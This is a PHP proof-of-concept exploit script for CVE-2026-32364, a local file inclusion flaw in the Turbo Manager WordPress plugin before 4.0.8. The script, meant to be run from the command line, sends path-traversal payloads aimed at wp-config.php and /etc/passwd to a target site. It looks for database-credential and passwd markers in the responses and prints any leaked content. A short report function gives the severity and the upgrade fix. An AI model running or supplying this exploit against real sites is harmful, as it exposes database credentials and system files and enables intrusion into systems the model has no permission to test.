<?php
/**
* CVE-2026-32364 PoC - Turbo Manager LFI Vulnerability
* Affected: Turbo Manager < 4.0.8
* Type: Local File Inclusion
*
* Usage: php cve-2026-32364_poc.php <target_url> <vulnerable_param>
* Example: php cve-2026-32364_poc.php http://target.com/wordpress/ file
*/
class TurboManagerLFI {
private $targetUrl;
private $paramName;
private $wordpressPaths = [
'../../../../wp-config.php',
'../../../../etc/passwd',
'../../../../../../etc/passwd',
'../wp-config.php',
'wp-config.php'
];
public function __construct($targetUrl, $paramName = 'file') {
$this->targetUrl = rtrim($targetUrl, '/');
$this->paramName = $paramName;
}
public function exploit() {
echo "[*] CVE-2026-32364 Turbo Manager LFI PoC\n";
echo "[*] Target: {$this->targetUrl}\n";
echo "[*] Parameter: {$this->paramName}\n\n";
foreach ($this->wordpressPaths as $path) {
echo "[*] Testing path: {$path}\n";
$payload = urlencode($path);
$url = "{$this->targetUrl}/?{$this->paramName}={$payload}";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpCode == 200 && !empty($response)) {
// Check for sensitive content indicators
if (strpos($response, 'DB_NAME') !== false ||
strpos($response, 'root:x:') !== false) {
echo "[!] VULNERABLE! Sensitive file leaked:\n";
echo substr($response, 0, 500) . "...\n";
return true;
}
}
}
echo "[*] Basic tests completed. Manual verification recommended.\n";
return false;
}
public function generateReport() {
return [
'cve_id' => 'CVE-2026-32364',
'vulnerability' => 'Local File Inclusion in Turbo Manager',
'severity' => 'HIGH',
'cvss_score' => 7.5,
'affected_versions' => '< 4.0.8',
'remediation' => 'Upgrade to Turbo Manager 4.0.8 or later'
];
}
}
// CLI execution
if (php_sapi_name() === 'cli' && isset($argv[1])) {
$poc = new TurboManagerLFI($argv[1], $argv[2] ?? 'file');
$poc->exploit();
}
?>